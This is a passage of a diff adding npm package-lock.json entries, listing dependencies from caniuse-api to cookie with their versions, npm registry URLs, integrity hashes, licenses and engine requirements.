9877+ "peerDependencies": {
9878+ "three": ">=0.126.1"
9879+ }
9880+ },
9881+ "node_modules/caniuse-api": {
9882+ "version": "3.0.0",
9883+ "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz",
9884+ "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==",
9885+ "license": "MIT",
9886+ "dependencies": {
9887+ "browserslist": "^4.0.0",
9888+ "caniuse-lite": "^1.0.0",
9889+ "lodash.memoize": "^4.1.2",
9890+ "lodash.uniq": "^4.5.0"
9891+ }
9892+ },
9893+ "node_modules/caniuse-lite": {
9894+ "version": "1.0.30001760",
9895+ "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001760.tgz",
9896+ "integrity": "sha512-7AAMPcueWELt1p3mi13HR/LHH0TJLT11cnwDJEs3xA4+CK/PLKeO9Kl1oru24htkyUKtkGCvAx4ohB0Ttry8Dw==",
9897+ "funding": [
9898+ {
9899+ "type": "opencollective",
9900+ "url": "https://opencollective.com/browserslist"
9901+ },
9902+ {
9903+ "type": "tidelift",
9904+ "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
9905+ },
9906+ {
9907+ "type": "github",
9908+ "url": "https://github.com/sponsors/ai"
9909+ }
9910+ ],
9911+ "license": "CC-BY-4.0"
9912+ },
9913+ "node_modules/case-sensitive-paths-webpack-plugin": {
9914+ "version": "2.4.0",
9915+ "resolved": "https://registry.npmjs.org/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz",
9916+ "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==",
9917+ "license": "MIT",
9918+ "engines": {
9919+ "node": ">=4"
9920+ }
9921+ },
9922+ "node_modules/caseless": {
9923+ "version": "0.12.0",
9924+ "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
9925+ "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==",
9926+ "license": "Apache-2.0"
9927+ },
9928+ "node_modules/chalk": {
9929+ "version": "3.0.0",
9930+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
9931+ "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
9932+ "license": "MIT",
9933+ "dependencies": {
9934+ "ansi-styles": "^4.1.0",
9935+ "supports-color": "^7.1.0"
9936+ },
9937+ "engines": {
9938+ "node": ">=8"
9939+ }
9940+ },
9941+ "node_modules/char-regex": {
9942+ "version": "1.0.2",
9943+ "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz",
9944+ "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==",
9945+ "license": "MIT",
9946+ "engines": {
9947+ "node": ">=10"
9948+ }
9949+ },
9950+ "node_modules/chart.js": {
9951+ "version": "4.5.1",
9952+ "resolved": "https://registry.npmjs.org/chart.js/-/chart.js-4.5.1.tgz",
9953+ "integrity": "sha512-GIjfiT9dbmHRiYi6Nl2yFCq7kkwdkp1W/lp2J99rX0yo9tgJGn3lKQATztIjb5tVtevcBtIdICNWqlq5+E8/Pw==",
9954+ "license": "MIT",
9955+ "dependencies": {
9956+ "@kurkle/color": "^0.3.0"
9957+ },
9958+ "engines": {
9959+ "pnpm": ">=8"
9960+ }
9961+ },
9962+ "node_modules/chartjs-plugin-annotation": {
9963+ "version": "3.1.0",
9964+ "resolved": "https://registry.npmjs.org/chartjs-plugin-annotation/-/chartjs-plugin-annotation-3.1.0.tgz",
9965+ "integrity": "sha512-EkAed6/ycXD/7n0ShrlT1T2Hm3acnbFhgkIEJLa0X+M6S16x0zwj1Fv4suv/2bwayCT3jGPdAtI9uLcAMToaQQ==",
9966+ "license": "MIT",
9967+ "peerDependencies": {
9968+ "chart.js": ">=4.0.0"
9969+ }
9970+ },
9971+ "node_modules/check-types": {
9972+ "version": "11.2.3",
9973+ "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.2.3.tgz",
9974+ "integrity": "sha512-+67P1GkJRaxQD6PKK0Et9DhwQB+vGg3PM5+aavopCpZT1lj9jeqfvpgTLAWErNj8qApkkmXlu/Ug74kmhagkXg==",
9975+ "license": "MIT"
9976+ },
9977+ "node_modules/checkpoint-store": {
9978+ "version": "1.1.0",
9979+ "resolved": "https://registry.npmjs.org/checkpoint-store/-/checkpoint-store-1.1.0.tgz",
9980+ "integrity": "sha512-J/NdY2WvIx654cc6LWSq/IYFFCUf75fFTgwzFnmbqyORH4MwgiQCgswLLKBGzmsyTI5V7i5bp/So6sMbDWhedg==",
9981+ "license": "ISC",
9982+ "dependencies": {
9983+ "functional-red-black-tree": "^1.0.1"
9984+ }
9985+ },
9986+ "node_modules/chokidar": {
9987+ "version": "3.6.0",
9988+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",
9989+ "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==",
9990+ "license": "MIT",
9991+ "dependencies": {
9992+ "anymatch": "~3.1.2",
9993+ "braces": "~3.0.2",
9994+ "glob-parent": "~5.1.2",
9995+ "is-binary-path": "~2.1.0",
9996+ "is-glob": "~4.0.1",
9997+ "normalize-path": "~3.0.0",
9998+ "readdirp": "~3.6.0"
9999+ },
10000+ "engines": {
10001+ "node": ">= 8.10.0"
10002+ },
10003+ "funding": {
10004+ "url": "https://paulmillr.com/funding/"
10005+ },
10006+ "optionalDependencies": {
10007+ "fsevents": "~2.3.2"
10008+ }
10009+ },
10010+ "node_modules/chokidar/node_modules/glob-parent": {
10011+ "version": "5.1.2",
10012+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
10013+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
10014+ "license": "ISC",
10015+ "dependencies": {
10016+ "is-glob": "^4.0.1"
10017+ },
10018+ "engines": {
10019+ "node": ">= 6"
10020+ }
10021+ },
10022+ "node_modules/chrome-trace-event": {
10023+ "version": "1.0.4",
10024+ "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz",
10025+ "integrity": "sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==",
10026+ "license": "MIT",
10027+ "engines": {
10028+ "node": ">=6.0"
10029+ }
10030+ },
10031+ "node_modules/ci-info": {
10032+ "version": "4.3.1",
10033+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.1.tgz",
10034+ "integrity": "sha512-Wdy2Igu8OcBpI2pZePZ5oWjPC38tmDVx5WKUXKwlLYkA0ozo85sLsLvkBbBn/sZaSCMFOGZJ14fvW9t5/d7kdA==",
10035+ "funding": [
10036+ {
10037+ "type": "github",
10038+ "url": "https://github.com/sponsors/sibiraj-s"
10039+ }
10040+ ],
10041+ "license": "MIT",
10042+ "engines": {
10043+ "node": ">=8"
10044+ }
10045+ },
10046+ "node_modules/cipher-base": {
10047+ "version": "1.0.7",
10048+ "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.7.tgz",
10049+ "integrity": "sha512-Mz9QMT5fJe7bKI7MH31UilT5cEK5EHHRCccw/YRFsRY47AuNgaV6HY3rscp0/I4Q+tTW/5zoqpSeRRI54TkDWA==",
10050+ "license": "MIT",
10051+ "dependencies": {
10052+ "inherits": "^2.0.4",
10053+ "safe-buffer": "^5.2.1",
10054+ "to-buffer": "^1.2.2"
10055+ },
10056+ "engines": {
10057+ "node": ">= 0.10"
10058+ }
10059+ },
10060+ "node_modules/cjs-module-lexer": {
10061+ "version": "1.4.3",
10062+ "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.4.3.tgz",
10063+ "integrity": "sha512-9z8TZaGM1pfswYeXrUpzPrkx8UnWYdhJclsiYMm6x/w5+nN+8Tf/LnAgfLGQCm59qAOxU8WwHEq2vNwF6i4j+Q==",
10064+ "license": "MIT"
10065+ },
10066+ "node_modules/classnames": {
10067+ "version": "2.5.1",
10068+ "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.5.1.tgz",
10069+ "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==",
10070+ "license": "MIT"
10071+ },
10072+ "node_modules/clean-css": {
10073+ "version": "5.3.3",
10074+ "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.3.tgz",
10075+ "integrity": "sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==",
10076+ "license": "MIT",
10077+ "dependencies": {
10078+ "source-map": "~0.6.0"
10079+ },
10080+ "engines": {
10081+ "node": ">= 10.0"
10082+ }
10083+ },
10084+ "node_modules/clean-css/node_modules/source-map": {
10085+ "version": "0.6.1",
10086+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
10087+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
10088+ "license": "BSD-3-Clause",
10089+ "engines": {
10090+ "node": ">=0.10.0"
10091+ }
10092+ },
10093+ "node_modules/cliui": {
10094+ "version": "8.0.1",
10095+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
10096+ "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==",
10097+ "license": "ISC",
10098+ "dependencies": {
10099+ "string-width": "^4.2.0",
10100+ "strip-ansi": "^6.0.1",
10101+ "wrap-ansi": "^7.0.0"
10102+ },
10103+ "engines": {
10104+ "node": ">=12"
10105+ }
10106+ },
10107+ "node_modules/clone": {
10108+ "version": "2.1.2",
10109+ "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.2.tgz",
10110+ "integrity": "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==",
10111+ "license": "MIT",
10112+ "engines": {
10113+ "node": ">=0.8"
10114+ }
10115+ },
10116+ "node_modules/cloudinary": {
10117+ "version": "2.8.0",
10118+ "resolved": "https://registry.npmjs.org/cloudinary/-/cloudinary-2.8.0.tgz",
10119+ "integrity": "sha512-s7frvR0HnQXeJsQSIsbLa/I09IMb1lOnVLEDH5b5E53WTiCYgrNNOBGV/i/nLHwrcEOUkqjfSwP1+enXWNYmdw==",
10120+ "license": "MIT",
10121+ "dependencies": {
10122+ "lodash": "^4.17.21",
10123+ "q": "^1.5.1"
10124+ },
10125+ "engines": {
10126+ "node": ">=9"
10127+ }
10128+ },
10129+ "node_modules/co": {
10130+ "version": "4.6.0",
10131+ "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz",
10132+ "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==",
10133+ "license": "MIT",
10134+ "engines": {
10135+ "iojs": ">= 1.0.0",
10136+ "node": ">= 0.12.0"
10137+ }
10138+ },
10139+ "node_modules/coa": {
10140+ "version": "2.0.2",
10141+ "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.2.tgz",
10142+ "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==",
10143+ "license": "MIT",
10144+ "dependencies": {
10145+ "@types/q": "^1.5.1",
10146+ "chalk": "^2.4.1",
10147+ "q": "^1.1.2"
10148+ },
10149+ "engines": {
10150+ "node": ">= 4.0"
10151+ }
10152+ },
10153+ "node_modules/coa/node_modules/ansi-styles": {
10154+ "version": "3.2.1",
10155+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
10156+ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
10157+ "license": "MIT",
10158+ "dependencies": {
10159+ "color-convert": "^1.9.0"
10160+ },
10161+ "engines": {
10162+ "node": ">=4"
10163+ }
10164+ },
10165+ "node_modules/coa/node_modules/chalk": {
10166+ "version": "2.4.2",
10167+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
10168+ "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
10169+ "license": "MIT",
10170+ "dependencies": {
10171+ "ansi-styles": "^3.2.1",
10172+ "escape-string-regexp": "^1.0.5",
10173+ "supports-color": "^5.3.0"
10174+ },
10175+ "engines": {
10176+ "node": ">=4"
10177+ }
10178+ },
10179+ "node_modules/coa/node_modules/color-convert": {
10180+ "version": "1.9.3",
10181+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
10182+ "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
10183+ "license": "MIT",
10184+ "dependencies": {
10185+ "color-name": "1.1.3"
10186+ }
10187+ },
10188+ "node_modules/coa/node_modules/color-name": {
10189+ "version": "1.1.3",
10190+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
10191+ "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
10192+ "license": "MIT"
10193+ },
10194+ "node_modules/coa/node_modules/escape-string-regexp": {
10195+ "version": "1.0.5",
10196+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
10197+ "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
10198+ "license": "MIT",
10199+ "engines": {
10200+ "node": ">=0.8.0"
10201+ }
10202+ },
10203+ "node_modules/coa/node_modules/has-flag": {
10204+ "version": "3.0.0",
10205+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
10206+ "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
10207+ "license": "MIT",
10208+ "engines": {
10209+ "node": ">=4"
10210+ }
10211+ },
10212+ "node_modules/coa/node_modules/supports-color": {
10213+ "version": "5.5.0",
10214+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
10215+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
10216+ "license": "MIT",
10217+ "dependencies": {
10218+ "has-flag": "^3.0.0"
10219+ },
10220+ "engines": {
10221+ "node": ">=4"
10222+ }
10223+ },
10224+ "node_modules/collect-v8-coverage": {
10225+ "version": "1.0.3",
10226+ "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.3.tgz",
10227+ "integrity": "sha512-1L5aqIkwPfiodaMgQunkF1zRhNqifHBmtbbbxcr6yVxxBnliw4TDOW6NxpO8DJLgJ16OT+Y4ztZqP6p/FtXnAw==",
10228+ "license": "MIT"
10229+ },
10230+ "node_modules/color-convert": {
10231+ "version": "2.0.1",
10232+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
10233+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
10234+ "license": "MIT",
10235+ "dependencies": {
10236+ "color-name": "~1.1.4"
10237+ },
10238+ "engines": {
10239+ "node": ">=7.0.0"
10240+ }
10241+ },
10242+ "node_modules/color-name": {
10243+ "version": "1.1.4",
10244+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
10245+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
10246+ "license": "MIT"
10247+ },
10248+ "node_modules/colord": {
10249+ "version": "2.9.3",
10250+ "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz",
10251+ "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==",
10252+ "license": "MIT"
10253+ },
10254+ "node_modules/colorette": {
10255+ "version": "2.0.20",
10256+ "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz",
10257+ "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==",
10258+ "license": "MIT"
10259+ },
10260+ "node_modules/combined-stream": {
10261+ "version": "1.0.8",
10262+ "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
10263+ "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
10264+ "license": "MIT",
10265+ "dependencies": {
10266+ "delayed-stream": "~1.0.0"
10267+ },
10268+ "engines": {
10269+ "node": ">= 0.8"
10270+ }
10271+ },
10272+ "node_modules/commander": {
10273+ "version": "8.3.0",
10274+ "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz",
10275+ "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==",
10276+ "license": "MIT",
10277+ "engines": {
10278+ "node": ">= 12"
10279+ }
10280+ },
10281+ "node_modules/common-tags": {
10282+ "version": "1.8.2",
10283+ "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz",
10284+ "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==",
10285+ "license": "MIT",
10286+ "engines": {
10287+ "node": ">=4.0.0"
10288+ }
10289+ },
10290+ "node_modules/commondir": {
10291+ "version": "1.0.1",
10292+ "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
10293+ "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==",
10294+ "license": "MIT"
10295+ },
10296+ "node_modules/compressible": {
10297+ "version": "2.0.18",
10298+ "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz",
10299+ "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==",
10300+ "license": "MIT",
10301+ "dependencies": {
10302+ "mime-db": ">= 1.43.0 < 2"
10303+ },
10304+ "engines": {
10305+ "node": ">= 0.6"
10306+ }
10307+ },
10308+ "node_modules/compression": {
10309+ "version": "1.8.1",
10310+ "resolved": "https://registry.npmjs.org/compression/-/compression-1.8.1.tgz",
10311+ "integrity": "sha512-9mAqGPHLakhCLeNyxPkK4xVo746zQ/czLH1Ky+vkitMnWfWZps8r0qXuwhwizagCRttsL4lfG4pIOvaWLpAP0w==",
10312+ "license": "MIT",
10313+ "dependencies": {
10314+ "bytes": "3.1.2",
10315+ "compressible": "~2.0.18",
10316+ "debug": "2.6.9",
10317+ "negotiator": "~0.6.4",
10318+ "on-headers": "~1.1.0",
10319+ "safe-buffer": "5.2.1",
10320+ "vary": "~1.1.2"
10321+ },
10322+ "engines": {
10323+ "node": ">= 0.8.0"
10324+ }
10325+ },
10326+ "node_modules/compression/node_modules/negotiator": {
10327+ "version": "0.6.4",
10328+ "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz",
10329+ "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==",
10330+ "license": "MIT",
10331+ "engines": {
10332+ "node": ">= 0.6"
10333+ }
10334+ },
10335+ "node_modules/concat-map": {
10336+ "version": "0.0.1",
10337+ "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
10338+ "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
10339+ "license": "MIT"
10340+ },
10341+ "node_modules/concat-stream": {
10342+ "version": "2.0.0",
10343+ "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-2.0.0.tgz",
10344+ "integrity": "sha512-MWufYdFw53ccGjCA+Ol7XJYpAlW6/prSMzuPOTRnJGcGzuhLn4Scrz7qf6o8bROZ514ltazcIFJZevcfbo0x7A==",
10345+ "engines": [
10346+ "node >= 6.0"
10347+ ],
10348+ "license": "MIT",
10349+ "dependencies": {
10350+ "buffer-from": "^1.0.0",
10351+ "inherits": "^2.0.3",
10352+ "readable-stream": "^3.0.2",
10353+ "typedarray": "^0.0.6"
10354+ }
10355+ },
10356+ "node_modules/concat-stream/node_modules/readable-stream": {
10357+ "version": "3.6.2",
10358+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
10359+ "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
10360+ "license": "MIT",
10361+ "dependencies": {
10362+ "inherits": "^2.0.3",
10363+ "string_decoder": "^1.1.1",
10364+ "util-deprecate": "^1.0.1"
10365+ },
10366+ "engines": {
10367+ "node": ">= 6"
10368+ }
10369+ },
10370+ "node_modules/concurrently": {
10371+ "version": "8.2.2",
10372+ "resolved": "https://registry.npmjs.org/concurrently/-/concurrently-8.2.2.tgz",
10373+ "integrity": "sha512-1dP4gpXFhei8IOtlXRE/T/4H88ElHgTiUzh71YUmtjTEHMSRS2Z/fgOxHSxxusGHogsRfxNq1vyAwxSC+EVyDg==",
10374+ "license": "MIT",
10375+ "dependencies": {
10376+ "chalk": "^4.1.2",
10377+ "date-fns": "^2.30.0",
10378+ "lodash": "^4.17.21",
10379+ "rxjs": "^7.8.1",
10380+ "shell-quote": "^1.8.1",
10381+ "spawn-command": "0.0.2",
10382+ "supports-color": "^8.1.1",
10383+ "tree-kill": "^1.2.2",
10384+ "yargs": "^17.7.2"
10385+ },
10386+ "bin": {
10387+ "conc": "dist/bin/concurrently.js",
10388+ "concurrently": "dist/bin/concurrently.js"
10389+ },
10390+ "engines": {
10391+ "node": "^14.13.0 || >=16.0.0"
10392+ },
10393+ "funding": {
10394+ "url": "https://github.com/open-cli-tools/concurrently?sponsor=1"
10395+ }
10396+ },
10397+ "node_modules/concurrently/node_modules/chalk": {
10398+ "version": "4.1.2",
10399+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
10400+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
10401+ "license": "MIT",
10402+ "dependencies": {
10403+ "ansi-styles": "^4.1.0",
10404+ "supports-color": "^7.1.0"
10405+ },
10406+ "engines": {
10407+ "node": ">=10"
10408+ },
10409+ "funding": {
10410+ "url": "https://github.com/chalk/chalk?sponsor=1"
10411+ }
10412+ },
10413+ "node_modules/concurrently/node_modules/chalk/node_modules/supports-color": {
10414+ "version": "7.2.0",
10415+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
10416+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
10417+ "license": "MIT",
10418+ "dependencies": {
10419+ "has-flag": "^4.0.0"
10420+ },
10421+ "engines": {
10422+ "node": ">=8"
10423+ }
10424+ },
10425+ "node_modules/concurrently/node_modules/supports-color": {
10426+ "version": "8.1.1",
10427+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
10428+ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
10429+ "license": "MIT",
10430+ "dependencies": {
10431+ "has-flag": "^4.0.0"
10432+ },
10433+ "engines": {
10434+ "node": ">=10"
10435+ },
10436+ "funding": {
10437+ "url": "https://github.com/chalk/supports-color?sponsor=1"
10438+ }
10439+ },
10440+ "node_modules/confusing-browser-globals": {
10441+ "version": "1.0.11",
10442+ "resolved": "https://registry.npmjs.org/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz",
10443+ "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==",
10444+ "license": "MIT"
10445+ },
10446+ "node_modules/connect-history-api-fallback": {
10447+ "version": "2.0.0",
10448+ "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz",
10449+ "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==",
10450+ "license": "MIT",
10451+ "engines": {
10452+ "node": ">=0.8"
10453+ }
10454+ },
10455+ "node_modules/console-browserify": {
10456+ "version": "1.2.0",
10457+ "resolved": "https://registry.npmjs.org/console-browserify/-/console-browserify-1.2.0.tgz",
10458+ "integrity": "sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA=="
10459+ },
10460+ "node_modules/constants-browserify": {
10461+ "version": "1.0.0",
10462+ "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz",
10463+ "integrity": "sha512-xFxOwqIzR/e1k1gLiWEophSCMqXcwVHIH7akf7b/vxcUeGunlj3hvZaaqxwHsTgn+IndtkQJgSztIDWeumWJDQ==",
10464+ "license": "MIT"
10465+ },
10466+ "node_modules/content-disposition": {
10467+ "version": "0.5.4",
10468+ "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
10469+ "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
10470+ "license": "MIT",
10471+ "dependencies": {
10472+ "safe-buffer": "5.2.1"
10473+ },
10474+ "engines": {
10475+ "node": ">= 0.6"
10476+ }
10477+ },
10478+ "node_modules/content-type": {
10479+ "version": "1.0.5",
10480+ "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
10481+ "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
10482+ "license": "MIT",
10483+ "engines": {
10484+ "node": ">= 0.6"
10485+ }
10486+ },
10487+ "node_modules/convert-source-map": {
10488+ "version": "2.0.0",
10489+ "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
10490+ "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",
10491+ "license": "MIT"
10492+ },
10493+ "node_modules/cookie": {
10494+ "version": "0.7.2",
10495+ "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
